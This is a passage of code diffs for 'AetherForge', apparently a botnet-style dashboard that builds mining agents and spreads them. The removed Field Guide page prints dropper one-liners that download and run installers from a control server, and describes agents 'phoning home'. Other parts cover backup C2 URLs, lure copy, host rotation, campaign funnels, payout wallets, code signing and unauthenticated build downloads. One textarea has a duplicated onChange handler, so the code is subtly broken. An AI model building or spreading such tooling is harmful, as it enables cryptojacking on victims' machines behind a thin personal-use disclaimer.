No campaign activity in the last {WAR_ROOM_DAYS} days. Share dropper links with <code>?c=your-slug</code> to populate the funnel.
</p>
)}
</div>
<div className="card">
<div className="card operator-deck-card operator-interactive">
<h2>Shared notes</h2>
<p className="form-hint">Synced live to every logged-in operator{notesMeta ? ` — last edit: ${notesMeta}` : ''}.</p>
{notesTyping?.active && (
<div className="emberwake-typing-banner" role="status">
<ComradeAvatar user={notesTyping.user} size="sm" title={`${notesTyping.user} is editing notes`} />
<span className="emberwake-typing-body">
<strong>{notesTyping.user}</strong> is editing notes
<span className="typing-dots" aria-hidden>
<span />
<span />
<span />
</span>
<span className="emberwake-typing-cursor" aria-hidden />
</span>
</div>
)}
<textarea
className="input emberwake-notes"
rows={6}
value={notes}
onChange={(e) => setNotes(e.target.value)}
onChange={(e) => handleNotesChange(e.target.value)}
onBlur={() => stopNotesTyping()}
placeholder="Paste lure copy, host paths, rotation schedule…"
/>
<button type="button" className="btn btn-primary" style={{ marginTop: '0.5rem' }} disabled={notesBusy} onClick={() => void saveNotes()}>

View File

@@ -1,24 +0,0 @@
/**
* @vitest-environment happy-dom
*/
import { afterEach, describe, expect, it } from 'vitest';
import { cleanup, render, screen } from '@testing-library/react';
import { MemoryRouter } from 'react-router-dom';
import GuidePage from './GuidePage';
import { routerFuture } from '../routerFuture';
describe('GuidePage', () => {
afterEach(() => cleanup());
it('renders field guide hero and pipeline section', () => {
render(
<MemoryRouter future={routerFuture}>
<GuidePage />
</MemoryRouter>
);
expect(screen.getByText('OPERATIONS MANUAL')).toBeTruthy();
expect(screen.getByRole('heading', { name: /Field Guide/i })).toBeTruthy();
expect(screen.getByRole('heading', { name: /Live pipeline/i })).toBeTruthy();
expect(screen.getByRole('heading', { name: /Forge vs Calibrate/i })).toBeTruthy();
});
});

View File

@@ -1,230 +0,0 @@
import { Link } from 'react-router-dom';
import NeonCard from '../components/NeonCard/NeonCard';
import {
CHEAT_SECTIONS,
PIPELINE_STEPS,
TROUBLESHOOTING,
type CheatStep,
} from '../help/cheatSheetContent';
import {
ForgeCalibrateCompare,
PipelineFlow,
RoadmapGrid,
} from '../components/Visual/VisualComponents';
import './Pages.css';
/** Inline code block with copy button */
function CodeBlock({ code }: { code: string }) {
const copy = () => navigator.clipboard?.writeText(code);
return (
<div className="guide-code-block">
<pre className="guide-code-pre">{code}</pre>
<button type="button" className="guide-code-copy" onClick={copy} title="Copy to clipboard">
Copy
</button>
</div>
);
}
/** A single step card — shows body, tips, optional code example, optional nav button */
function StepCard({ step }: { step: CheatStep }) {
return (
<div className="guide-step-card">
<div className="guide-step-num">{step.icon}</div>
<div className="guide-step-body">
<h4>{step.title} <span className="guide-step-sub"> {step.subtitle}</span></h4>
<p>{step.body}</p>
{step.tips && (
<ul className="guide-tips">
{step.tips.map((t) => <li key={t}>{t}</li>)}
</ul>
)}
{step.code && <CodeBlock code={step.code} />}
</div>
{step.route && (
<Link to={step.route} className="btn btn-outline btn-sm guide-step-btn">
{step.routeLabel || 'Open'}
</Link>
)}
</div>
);
}
/** ASCII topology diagram — home LAN control deck */
function TopologyDiagram() {
const lines = [
' ┌──────────────────────────────────────────────────────────────────────┐',
' │ Control PC (USB portable or dev install) │',
' │ │',
' │ ┌──────────────────────────────────────────────────────────────┐ │',
' │ │ LAUNCH.bat → AetherForge.exe on 0.0.0.0:8989 │ │',
' │ │ Dashboard: http://localhost:8989 │ │',
' │ │ Calibrate: set LAN public URL + wallet + TLS pool presets │ │',
' │ └────────────────────────┬─────────────────────────────────────┘ │',
' └────────────────────────────│─────────────────────────────────────────┘',
' │ LAN http://192.168.x.x:8989',
' ┌────────────────┼────────────────┐',
' ▼ ▼ ▼',
' [Worker PC] [Worker PC] [Worker PC]',
' forged agent forged agent forged agent',
' phones home phones home phones home',
];
return (
<div className="guide-topology">
<pre className="guide-topology-pre">{lines.join('\n')}</pre>
</div>
);
}
export default function GuidePage() {
return (
<div className="page fade-in command-deck">
<header className="deck-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">OPERATIONS MANUAL</p>
<h1>Field Guide</h1>
<p className="page-subtitle">
Everything you need pipeline, network topology, one-liner commands, Fusion, AI Autonomy, and fixes for when things break.
</p>
</div>
</header>
{/* ── Live pipeline ── */}
<NeonCard accent="cyan" className="section" hud>
<h2 className="section-title font-display">
<span className="section-ornament"></span> Live pipeline
<span className="section-line" />
</h2>
<PipelineFlow />
</NeonCard>
{/* ── Network topology ── */}
<NeonCard accent="amber" className="section">
<h2 className="section-title font-display">
<span className="section-ornament"></span> Network topology
<span className="section-line" />
</h2>
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>
AetherForge binds to <code className="mono-sm">0.0.0.0:8989</code>. You operate the dashboard at{' '}
<code className="mono-sm">http://localhost:8989</code> on the control PC; workers on your LAN use the
detected LAN URL baked at Forge time. Optional external tunneling can run on a separate machine later.
</p>
<TopologyDiagram />
<div className="guide-step-card" style={{ marginTop: '1rem' }}>
<div className="guide-step-num">💡</div>
<div className="guide-step-body">
<h4>Home LAN setup</h4>
<ul className="guide-tips">
<li>Run <code className="mono-sm">LAUNCH.bat</code> (USB) or <code className="mono-sm">devrun.bat</code> (dev)</li>
<li>
<Link to="/settings" className="guide-link">Calibrate</Link> Use detected LAN Use best defaults Save
</li>
<li>Forge Control Endpoint: <code className="mono-sm">http://192.168.x.x:8989</code> (your LAN IP)</li>
<li>Backup C2 URLs auto-fill from other LAN IPs on the control host</li>
<li>First login: LAUNCH window or <code className="mono-sm">data\login-credentials.json</code></li>
<li>Optional: external tunnel on another machine can forward to this PC on port 8989</li>
</ul>
<CodeBlock code={`# Typical flow:
LAUNCH.bat
# Browser: http://localhost:8989
# Calibrate public URL: http://192.168.1.50:8989
# Forge control endpoint: same LAN URL`} />
</div>
</div>
</NeonCard>
{/* ── Forge vs Calibrate ── */}
<section className="section">
<h2 className="section-title font-display">
<span className="section-ornament"></span> Forge vs Calibrate what goes where
<span className="section-line" />
</h2>
<ForgeCalibrateCompare />
</section>
{/* ── Dropper one-liners quick-ref ── */}
<NeonCard accent="green" className="section">
<h2 className="section-title font-display">
<span className="section-ornament"></span> Dropper one-liners
<span className="section-line" />
</h2>
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>
Pin a build in <Link to="/builds" className="guide-link">Build Manager</Link> first replace the host with your
Calibrate LAN URL (or your optional external tunnel URL). Terminal closes automatically after the agent launches.
</p>
<div className="guide-dropper-grid">
<div className="guide-dropper-item">
<span className="guide-dropper-os">Windows</span>
<CodeBlock code={`iex (irm 'http://192.168.1.50:8989/install.ps1')`} />
</div>
<div className="guide-dropper-item">
<span className="guide-dropper-os">Linux / macOS</span>
<CodeBlock code={`curl -sL http://192.168.1.50:8989/install.sh | bash`} />
</div>
<div className="guide-dropper-item">
<span className="guide-dropper-os">Direct binary</span>
<CodeBlock code={`http://192.168.1.50:8989/get?os=windows
http://192.168.1.50:8989/get?os=linux
http://192.168.1.50:8989/get`} />
</div>
</div>
<p className="form-hint" style={{ marginTop: '0.5rem' }}>
Dropper endpoints are unauthenticated the URL is the gate. Dashboard requires login. Workers must be on a network that can reach your LAN control URL.
</p>
</NeonCard>
{/* ── Detailed section steps ── */}
{CHEAT_SECTIONS.filter((s) => s.steps && s.id !== 'pipeline').map((section) => (
<section key={section.id} className="section">
<h2 className="section-title font-display">
<span className="section-ornament"></span> {section.title}
<span className="section-line" />
</h2>
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>{section.description}</p>
{section.steps?.map((step) => <StepCard key={step.id} step={step} />)}
</section>
))}
{/* ── Step-by-step pipeline detail ── */}
<section className="section">
<h2 className="section-title font-display">
<span className="section-ornament"></span> Step-by-step (pipeline detail)
<span className="section-line" />
</h2>
{PIPELINE_STEPS.map((step) => <StepCard key={step.id} step={step} />)}
</section>
{/* ── Troubleshooting ── */}
<section className="section">
<h2 className="section-title font-display">
<span className="section-ornament"></span> Troubleshooting
<span className="section-line" />
</h2>
<NeonCard accent="amber">
{TROUBLESHOOTING.map((t) => (
<div key={t.problem} className="trouble-card">
<strong>{t.problem}</strong>
<span>{t.fix}</span>
</div>
))}
</NeonCard>
</section>
{/* ── Roadmap ── */}
<section className="section">
<h2 className="section-title font-display">
<span className="section-ornament"></span> Feature status
<span className="section-line" />
</h2>
<p className="form-hint" style={{ marginBottom: '1rem' }}>
Shipped (high), in progress (medium), and planned (low) capabilities.
</p>
<RoadmapGrid />
</section>
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
</footer>
</div>
);
}

View File

@@ -0,0 +1,502 @@
/* Mission Deck — video-game loadout screen (/mission-deck) */
.mission-deck {
--deck-accent: #ff8c3a;
--deck-accent-dim: rgba(255, 140, 58, 0.35);
--deck-glow: rgba(255, 140, 58, 0.55);
--loadout-grid-gap: 1.25rem;
}
.mission-deck .deck-hero::after {
background: linear-gradient(90deg, var(--deck-accent), transparent);
box-shadow: 0 0 14px var(--deck-glow);
}
.mission-deck .deck-eyebrow {
color: var(--deck-accent);
}
.mission-deck-ops-dock {
display: flex;
flex-wrap: wrap;
gap: 0.5rem;
align-items: center;
}
/* ── Three-column loadout grid ── */
.mission-loadout {
display: grid;
grid-template-columns: minmax(200px, 240px) minmax(280px, 1fr) minmax(260px, 320px);
gap: var(--loadout-grid-gap);
align-items: start;
}
@media (max-width: 1100px) {
.mission-loadout {
grid-template-columns: 1fr 1fr;
grid-template-areas:
'modes kit'
'preview preview';
}
.mission-loadout-modes { grid-area: modes; }
.mission-loadout-preview { grid-area: preview; }
.mission-loadout-kit { grid-area: kit; }
}
@media (max-width: 680px) {
.mission-loadout {
grid-template-columns: 1fr;
grid-template-areas:
'modes'
'preview'
'kit';
}
}
.mission-loadout-col {
display: flex;
flex-direction: column;
gap: 0.85rem;
}
.loadout-col-label {
margin: 0;
font-size: 0.68rem;
letter-spacing: 0.14em;
text-transform: uppercase;
color: var(--deck-accent);
padding-left: 0.15rem;
}
/* ── LEFT: operation mode chips ── */
.loadout-mode-chips {
display: flex;
flex-direction: column;
gap: 0.55rem;
}
.loadout-mode-chip {
position: relative;
display: flex;
align-items: flex-start;
gap: 0.65rem;
width: 100%;
padding: 0.85rem 0.75rem;
border-radius: 10px;
border: 1px solid rgba(255, 255, 255, 0.1);
background: rgba(0, 0, 0, 0.38);
cursor: pointer;
text-align: left;
color: inherit;
font: inherit;
transition:
transform 0.22s ease,
border-color 0.25s ease,
box-shadow 0.3s ease,
background 0.25s ease;
overflow: hidden;
}
.loadout-mode-chip:hover:not(:disabled) {
transform: translateX(4px);
border-color: rgba(255, 255, 255, 0.22);
}
.loadout-mode-chip.selected {
border-color: var(--chip-accent, var(--deck-accent));
background: color-mix(in srgb, var(--chip-accent, var(--deck-accent)) 10%, rgba(0, 0, 0, 0.45));
box-shadow:
0 0 22px color-mix(in srgb, var(--chip-accent, var(--deck-accent)) 30%, transparent),
inset 0 0 0 1px color-mix(in srgb, var(--chip-accent, var(--deck-accent)) 25%, transparent);
}
.loadout-mode-chip:disabled {
opacity: 0.55;
cursor: not-allowed;
}
.loadout-chip-icon {
font-size: 1.35rem;
line-height: 1;
flex-shrink: 0;
filter: drop-shadow(0 0 6px var(--chip-accent, var(--deck-accent)));
}
.loadout-chip-body {
display: flex;
flex-direction: column;
gap: 0.2rem;
min-width: 0;
}
.loadout-chip-label {
font-family: var(--font-tech, monospace);
font-size: 0.82rem;
letter-spacing: 0.06em;
text-transform: uppercase;
color: var(--chip-accent, var(--deck-accent));
}
.loadout-chip-blurb {
font-size: 0.7rem;
color: var(--text-secondary);
line-height: 1.35;
}
.loadout-chip-glow {
position: absolute;
inset: 0;
pointer-events: none;
opacity: 0;
transition: opacity 0.3s ease;
background: linear-gradient(
105deg,
transparent 40%,
color-mix(in srgb, var(--chip-accent, var(--deck-accent)) 18%, transparent) 100%
);
}
.loadout-mode-chip.selected .loadout-chip-glow {
opacity: 1;
}
.loadout-forge-hint {
margin: 0.25rem 0 0;
font-size: 0.75rem;
}
/* ── CENTER: 3D preview stage ── */
.loadout-preview-card {
text-align: center;
padding: 1.25rem 1rem 1.5rem;
--preview-accent: var(--deck-accent);
}
.loadout-preview-stage {
position: relative;
height: 180px;
margin: 0 auto 1.25rem;
max-width: 260px;
display: flex;
align-items: center;
justify-content: center;
}
.loadout-preview-ring {
position: absolute;
inset: 0;
border-radius: 50%;
border: 2px solid color-mix(in srgb, var(--preview-accent) 45%, transparent);
box-shadow:
0 0 30px color-mix(in srgb, var(--preview-accent) 35%, transparent),
inset 0 0 24px color-mix(in srgb, var(--preview-accent) 15%, transparent);
animation: loadout-ring-spin 18s linear infinite;
}
.loadout-preview-ring::before {
content: '';
position: absolute;
inset: 12px;
border-radius: 50%;
border: 1px dashed color-mix(in srgb, var(--preview-accent) 30%, transparent);
animation: loadout-ring-spin 12s linear infinite reverse;
}
.loadout-preview-avatar {
position: relative;
z-index: 1;
width: 96px;
height: 96px;
border-radius: 16px;
display: flex;
align-items: center;
justify-content: center;
background: linear-gradient(
145deg,
color-mix(in srgb, var(--preview-accent) 22%, rgba(0, 0, 0, 0.6)),
rgba(0, 0, 0, 0.75)
);
border: 1px solid color-mix(in srgb, var(--preview-accent) 50%, transparent);
box-shadow: 0 0 28px color-mix(in srgb, var(--preview-accent) 40%, transparent);
transform: perspective(600px) rotateX(8deg);
transition: transform 0.4s cubic-bezier(0.23, 1, 0.32, 1);
}
.loadout-preview-card:hover .loadout-preview-avatar {
transform: perspective(600px) rotateX(4deg) translateY(-6px) scale(1.04);
}
.loadout-preview-sigil {
font-size: 2.4rem;
color: var(--preview-accent);
text-shadow: 0 0 16px var(--preview-accent);
animation: loadout-sigil-pulse 2.8s ease-in-out infinite;
}
.loadout-preview-scanlines {
position: absolute;
inset: 0;
border-radius: 50%;
pointer-events: none;
background: repeating-linear-gradient(
0deg,
transparent,
transparent 3px,
rgba(0, 0, 0, 0.06) 3px,
rgba(0, 0, 0, 0.06) 4px
);

View File

@@ -0,0 +1,107 @@
/**
* @vitest-environment happy-dom
*/
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import { cleanup, render, screen, waitFor } from '@testing-library/react';
import userEvent from '@testing-library/user-event';
import { MemoryRouter } from 'react-router-dom';
import MissionDeckPage from './MissionDeckPage';
import { ForgeProvider } from '../context/ForgeContext';
import { routerFuture } from '../routerFuture';
import { mockServerConfig, mockServerInfo } from '../test/fixtures';
import { api } from '../api/client';
vi.mock('../context/PresenceContext', () => ({
usePresence: () => ({
othersOnPage: [],
comrades: [],
comradesHere: () => [],
othersOnline: false,
}),
}));
function renderMissionDeck() {
return render(
<MemoryRouter initialEntries={['/mission-deck']} future={routerFuture}>
<ForgeProvider>
<MissionDeckPage />
</ForgeProvider>
</MemoryRouter>,
);
}
describe('MissionDeckPage', () => {
beforeEach(() => {
vi.clearAllMocks();
localStorage.clear();
vi.spyOn(api, 'getConfig').mockResolvedValue(mockServerConfig());
vi.spyOn(api, 'getServerInfo').mockResolvedValue(mockServerInfo);
vi.spyOn(api, 'listBuilds').mockResolvedValue([]);
vi.spyOn(api, 'buildAgent').mockResolvedValue({
success: true,
build_id: 'deck-build-1',
file_name: 'worker-deck.exe',
file_size: 4096,
download_url: '/api/v1/builds/deck-build-1/download',
});
vi.spyOn(api, 'exportSpreadKit').mockResolvedValue(undefined);
vi.stubGlobal('navigator', {
clipboard: { writeText: vi.fn().mockResolvedValue(undefined) },
});
});
afterEach(() => {
vi.unstubAllGlobals();

File diff suppressed because it is too large Load Diff

View File

@@ -1756,6 +1756,237 @@ button.deliverable-card .form-hint {
color: #f5a623 !important;
}
/* Forge mission ritual wizard (simple mode) */
.forge-mission-wizard {
margin-bottom: 1rem;
padding: 1rem 1.25rem;
border: 1px solid rgba(61, 214, 198, 0.35);
background: rgba(61, 214, 198, 0.06);
}
.forge-mission-wizard-pills {
display: flex;
flex-wrap: wrap;
gap: 0.4rem;
margin: 0.75rem 0 1rem;
}
.forge-mission-wizard-pill {
display: inline-flex;
align-items: center;
gap: 0.4rem;
padding: 0.3rem 0.75rem;
border-radius: 999px;
border: 1px solid rgba(255, 255, 255, 0.14);
background: rgba(0, 0, 0, 0.25);
color: var(--text-secondary);
font-size: 0.78rem;
font-family: var(--font-tech, monospace);
cursor: pointer;
transition: border-color 0.2s, box-shadow 0.2s, color 0.2s, background 0.2s;
}
.forge-mission-wizard-pill:hover:not(:disabled) {
border-color: rgba(61, 214, 198, 0.55);
color: var(--neon-cyan, #3dd6c6);
box-shadow: 0 0 14px rgba(61, 214, 198, 0.22);
background: rgba(61, 214, 198, 0.08);
}
.forge-mission-wizard-pill.done {
border-color: rgba(74, 222, 128, 0.45);
color: var(--neon-green, #6f6);
}
.forge-mission-wizard-pill.active {
border-color: rgba(61, 214, 198, 0.65);
color: var(--neon-cyan, #3dd6c6);
box-shadow: 0 0 16px rgba(61, 214, 198, 0.28);
background: rgba(61, 214, 198, 0.1);
}
.forge-mission-wizard-pill:disabled {
opacity: 0.55;
cursor: not-allowed;
}
.forge-mission-wizard-pill-num {
display: inline-flex;
align-items: center;
justify-content: center;
width: 1.15rem;
height: 1.15rem;
border-radius: 50%;
font-size: 0.68rem;
background: rgba(255, 255, 255, 0.08);
}
.forge-mission-wizard-panel {
min-height: 4.5rem;
}
.forge-mission-wizard-nav {
display: flex;
flex-wrap: wrap;
gap: 0.5rem;
align-items: center;
margin-top: 0.85rem;
}
.forge-mission-chip-grid {
display: flex;
flex-wrap: wrap;
gap: 0.5rem;
}
.forge-mission-op-chip {
min-width: 6.5rem;
padding: 0.55rem 0.85rem;
border-radius: 10px;
border: 1px solid rgba(255, 255, 255, 0.14);
background: rgba(0, 0, 0, 0.3);
color: var(--text-secondary);
font-family: var(--font-tech, monospace);
font-size: 0.82rem;
cursor: pointer;
text-align: left;
transition: border-color 0.2s, box-shadow 0.2s, color 0.2s, background 0.2s;
}
.forge-mission-op-chip:hover:not(:disabled) {
box-shadow: 0 0 18px rgba(61, 214, 198, 0.18);
}
.forge-mission-op-chip.active {
background: rgba(0, 0, 0, 0.45);
}
.forge-mission-op-chip strong {
display: block;
margin-bottom: 0.15rem;
}
.forge-mission-op-chip span {
display: block;
font-size: 0.7rem;
opacity: 0.75;
line-height: 1.3;
}
.forge-mission-banner {
margin-bottom: 1rem;
padding: 1rem 1.25rem;
border: 1px solid rgba(61, 214, 198, 0.35);
background: rgba(61, 214, 198, 0.06);
}
.forge-mission-banner .font-tech {
margin-bottom: 0.35rem;
}
.forge-mission-steps {
display: flex;
flex-wrap: wrap;
gap: 0.35rem 0.5rem;
margin: 0.75rem 0;
font-size: 0.78rem;
font-family: var(--font-tech, monospace);
}
.forge-mission-step {
display: inline-flex;
align-items: center;
gap: 0.35rem;
padding: 0.2rem 0.55rem;
border-radius: 999px;
border: 1px solid rgba(255, 255, 255, 0.12);
color: var(--text-secondary);
}
.forge-mission-step.done {
border-color: rgba(74, 222, 128, 0.45);
color: var(--neon-green, #6f6);
}
.forge-mission-step.active {
border-color: rgba(61, 214, 198, 0.55);
color: var(--neon-cyan, #3dd6c6);
box-shadow: 0 0 12px rgba(61, 214, 198, 0.2);
}
.forge-mission-step:hover {
box-shadow: 0 0 10px rgba(61, 214, 198, 0.15);
}
.forge-mission-step.skipped {
border-color: rgba(255, 255, 255, 0.08);
color: #666;
text-decoration: line-through;
}
.forge-mission-step.error {
border-color: rgba(248, 113, 113, 0.55);
color: var(--neon-red, #f55);
}
.forge-mission-actions {
display: flex;
flex-wrap: wrap;
gap: 0.5rem;
align-items: flex-end;
margin-top: 0.75rem;
}
.forge-mission-modal-backdrop {
position: fixed;
inset: 0;
background: rgba(0, 0, 0, 0.75);
backdrop-filter: blur(4px);
display: flex;
align-items: center;
justify-content: center;
z-index: 2000;
padding: 1rem;
}
.forge-mission-modal {
background: #0e1117;
border: 1px solid rgba(61, 214, 198, 0.35);
border-radius: 14px;
box-shadow: 0 0 60px rgba(61, 214, 198, 0.15);
padding: 1.5rem;
max-width: 640px;
width: 100%;
max-height: 90vh;
overflow-y: auto;
}
.forge-mission-modal h3 {
margin: 0 0 0.5rem;
font-family: var(--font-tech, monospace);
color: var(--neon-cyan, #3dd6c6);
}
.forge-mission-link-block {
margin-bottom: 0.85rem;
}
.forge-mission-link-block p {
margin: 0 0 0.25rem;
font-size: 0.75rem;
color: var(--text-secondary);
}
.forge-mission-link-block code {
display: block;
font-size: 0.72rem;
word-break: break-all;
padding: 0.5rem 0.65rem;
background: rgba(0, 0, 0, 0.45);
border: 1px solid rgba(255, 255, 255, 0.08);
border-radius: 6px;
}
@media (max-width: 700px) {
.rvn-gauges {
grid-template-columns: repeat(2, 1fr);

View File

@@ -1,5 +1,6 @@
import { useCallback, useEffect, useRef, useState } from 'react';
import { api } from '../api/client';
import { useModalAmbientDuck } from '../context/AmbientMusicContext';
import { useWebSocket } from '../hooks/useWebSocket';
import type { Agent, PathTraceHop } from '../types';
import './PathTracerPage.css';
@@ -35,6 +36,7 @@ function QRModal({
onClose: () => void;
onEnd: () => void;
}) {
useModalAmbientDuck(true);
const [copied, setCopied] = useState(false);
const handleCopy = () => {
@@ -203,7 +205,7 @@ export default function PathTracerPage() {
const allHopsReady = hops.length > 0 && hops.every((h) => h.status === 'ready');
return (
<div className="pathtrace-page">
<div className="pathtrace-page operator-deck-page">
{/* Header */}
<div className="pt-header">
<div>

View File

@@ -146,6 +146,24 @@ describe('SettingsPage (Calibrate)', () => {
expect(await screen.findByText('User "operator" added successfully!')).toBeInTheDocument();
});
it('edits Emberwake public builds settings', async () => {
const user = userEvent.setup();
renderSettings();
const latestInput = await screen.findByLabelText(/latest n on login drawer/i);
expect((latestInput as HTMLInputElement).value).toBe('3');
const enableCheckbox = screen.getByRole('checkbox', { name: /expose all builds on public api/i });
expect((enableCheckbox as HTMLInputElement).checked).toBe(false);
await user.click(enableCheckbox);
expect((enableCheckbox as HTMLInputElement).checked).toBe(true);
await user.click(screen.getByRole('button', { name: /save calibration/i }));
await waitFor(() => {
expect(api.updateConfig).toHaveBeenCalled();
});
const saved = vi.mocked(api.updateConfig).mock.calls.at(-1)?.[0];
expect(saved?.server?.public_builds_enabled).toBe(true);
expect(saved?.server?.public_builds_latest_n).toBe(3);
});
it('describes first-run admin credentials in Access Control help', async () => {
renderSettings();
expect(

View File

@@ -17,11 +17,19 @@ import RVNPoolPresetPicker from '../components/RVNPoolPresetPicker';
import type { BackupPool } from '../types';
import NeonCard from '../components/NeonCard/NeonCard';
import FleetTasksPanel from '../components/Fleet/FleetTasksPanel';
import FleetRuntimePanel from '../components/Fleet/FleetRuntimePanel';
import { AuditLogStrip } from '../components/Fleet/FleetOpsWidgets';
import { useSound } from '../context/SoundContext';
import { useAmbientMusic } from '../context/AmbientMusicContext';
import { AMBIENT_MUSIC_SRC } from '../audio/ambientMusic';
import { useVisualEffects } from '../context/VisualEffectsContext';
import {
FORGE_SKIN_IDS,
loadStoredForgeTheme,
storeForgeTheme,
type ForgeSkinId,
type ForgeThemeOverride,
} from '../help/forgeOperationModes';
import './Pages.css';
/** Recursively merge `override` into `base`, preserving keys not in `override`. */
@@ -62,6 +70,7 @@ export default function SettingsPage() {
} = useSound();
const { enabled: bgmEnabled, volume: bgmVolume, setEnabled: setBgmEnabled, setVolume: setBgmVolume } = useAmbientMusic();
const { glowParticles, setGlowParticles } = useVisualEffects();
const [forgeTheme, setForgeTheme] = useState<ForgeThemeOverride>(loadStoredForgeTheme);
const [config, setConfig] = useState<ServerConfig | null>(null);
const [serverInfo, setServerInfo] = useState<{ suggested_url: string; local_ips: string[] } | null>(null);
const [loading, setLoading] = useState(true);
@@ -121,6 +130,8 @@ export default function SettingsPage() {
strict_wallet_validation: cfg.server?.strict_wallet_validation ?? false,
dashboard_subtitle: cfg.server?.dashboard_subtitle ?? 'security is just an emotion',
open_firewall_on_start: cfg.server?.open_firewall_on_start ?? true,
public_builds_enabled: cfg.server?.public_builds_enabled ?? false,
public_builds_latest_n: cfg.server?.public_builds_latest_n ?? 3,
},
});
setServerInfo(info);
@@ -301,7 +312,7 @@ export default function SettingsPage() {
if (loading) {
return (
<div className="page fade-in command-deck">
<div className="page fade-in command-deck operator-deck-page">
<header className="deck-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">SERVER ONLY</p>
@@ -315,7 +326,7 @@ export default function SettingsPage() {
if (!config) {
return (
<div className="page fade-in command-deck">
<div className="page fade-in command-deck operator-deck-page">
<NeonCard accent="brass"><p>Failed to load server configuration.</p></NeonCard>
</div>
);
@@ -340,10 +351,12 @@ export default function SettingsPage() {
sign_cert_thumbprint: '',
sign_tool_path: '',
sign_timestamp_url: 'http://timestamp.digicert.com',
public_builds_enabled: false,
public_builds_latest_n: 3,
};
return (
<div className="page fade-in command-deck">
<div className="page fade-in command-deck operator-deck-page">
<input type="file" ref={fileInputRef} style={{ display: 'none' }} accept=".json" onChange={handleFileSelected} />
<header className="deck-hero">
@@ -379,7 +392,7 @@ export default function SettingsPage() {
)}
{serverInfo && (
<NeonCard accent="cyan" className="calibrate-banner" hud>
<NeonCard accent="cyan" className="calibrate-banner operator-deck-card operator-interactive" hud>
<p className="font-tech">DETECTED LAN ENDPOINTS</p>
<p><strong>Suggested:</strong> <code className="mono-sm">{serverInfo.suggested_url}</code></p>
{serverInfo.local_ips?.length > 0 && (
@@ -426,7 +439,7 @@ export default function SettingsPage() {
)}
<div className="settings-grid">
<NeonCard accent="cyan" className="settings-section">
<NeonCard accent="cyan" className="settings-section operator-deck-card operator-interactive">
<h2 className="font-display">Deck Atmosphere</h2>
<p className="section-desc">
Background glow particles and sparkles sit behind the UI (pointer-events off). Turn off on
@@ -443,9 +456,43 @@ export default function SettingsPage() {
<span>Glow particles &amp; sparkles</span>
</label>
</div>
<div className="form-group" style={{ marginTop: '1.25rem' }}>
<label htmlFor="cfg-forge-theme" className="label">
Forge theme
</label>
<p className="section-desc" style={{ marginBottom: '0.5rem' }}>
Seasonal forge chrome on The Forge page. Auto follows the selected operation mode preset;
pick a skin to override.
</p>
<select
id="cfg-forge-theme"
className="select"
value={forgeTheme}
onChange={(e) => {
const next = e.target.value as ForgeThemeOverride;
setForgeTheme(next);
storeForgeTheme(next);
}}
>
<option value="auto">Auto (follow operation mode)</option>
{FORGE_SKIN_IDS.map((id: ForgeSkinId) => (
<option key={id} value={id}>
{id === 'aether'
? 'Default Aether'
: id === 'halloween'
? 'Halloween'
: id === 'ghost'
? 'Ghost Walk'
: id === 'wildfire'
? 'Wildfire'
: 'Crucible Storm'}
</option>
))}
</select>
</div>
</NeonCard>
<NeonCard accent="green" className="settings-section">
<NeonCard accent="green" className="settings-section operator-deck-card operator-interactive">
<h2 className="font-display">Sound &amp; Haptics</h2>
<p className="section-desc">
Short UI bleeps and vibration on supported phones/tablets. Browsers require a click anywhere
@@ -582,7 +629,7 @@ export default function SettingsPage() {
</div>
</NeonCard>
<NeonCard accent="brass" className="settings-section">
<NeonCard accent="brass" className="settings-section operator-deck-card operator-interactive">
<h2 className="font-display">Control Server</h2>
<p className="section-desc">How this dashboard and API are hosted on your network.</p>
<div className="form-row">
@@ -647,7 +694,7 @@ export default function SettingsPage() {
</div>
</NeonCard>
<NeonCard accent="cyan" className="settings-section">
<NeonCard accent="cyan" className="settings-section operator-deck-card operator-interactive">
<h2 className="font-display">Upstream Pool</h2>
<p className="section-desc">The control server connects here and relays work to your fleet. Pick presets or add your own unreachable pools are skipped automatically.</p>
<PoolPresetPicker
@@ -684,7 +731,7 @@ export default function SettingsPage() {
</div>
</NeonCard>
<NeonCard accent="purple" className="settings-section">
<NeonCard accent="purple" className="settings-section operator-deck-card operator-interactive">
<h2 className="font-display">Fleet Payout Wallet</h2>
<p className="section-desc">Default wallet the server uses when connecting to the pool. The Forge pre-fills this when building miners.</p>
<div className="form-group">
@@ -708,7 +755,7 @@ export default function SettingsPage() {
</div>
</NeonCard>
<NeonCard accent="amber" className="settings-section">
<NeonCard accent="amber" className="settings-section operator-deck-card operator-interactive">
<h2 className="font-display">Ravencoin (GPU) Pool</h2>
<p className="section-desc">
Default RVN pool and wallet used when forging GPU-enabled agents. These pre-populate the Forge GPU mining fields.
@@ -770,7 +817,7 @@ export default function SettingsPage() {
</div>
</NeonCard>
<NeonCard accent="amber" className="settings-section">
<NeonCard accent="amber" className="settings-section operator-deck-card operator-interactive">
<h2 className="font-display">Fleet Alerts</h2>
<p className="section-desc">Dashboard thresholds for agent health.</p>
<div className="form-group">
@@ -792,7 +839,7 @@ export default function SettingsPage() {
</div>
</NeonCard>
<NeonCard accent="amber" className="settings-section">
<NeonCard accent="amber" className="settings-section operator-deck-card operator-interactive">
<h2 className="font-display">Alert Notifications</h2>
<p className="section-desc">
Telegram, optional webhook, and email for fleet events (operator pub/sub MITRE T1071.005 lite).
@@ -931,7 +978,42 @@ export default function SettingsPage() {
)}
</NeonCard>
<NeonCard accent="brass" className="settings-section">
<NeonCard accent="cyan" className="settings-section operator-deck-card operator-interactive">
<h2 className="font-display">Emberwake / Public Builds</h2>
<p className="section-desc">
Control which forged installers appear on the login-page public builds drawer and unauthenticated{' '}
<code className="mono-sm">/api/v1/public/builds</code> API. Mark individual builds public in Builds, or
enable all-builds mode below.
</p>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={s.public_builds_enabled ?? false}
onChange={(e) => updateField('server.public_builds_enabled', e.target.checked)}
/>
<span>Expose all builds on public API (no login)</span>
</label>
</div>
<div className="form-group">
<label htmlFor="cfg-public-latest-n" className="label">Latest N on login drawer</label>
<input
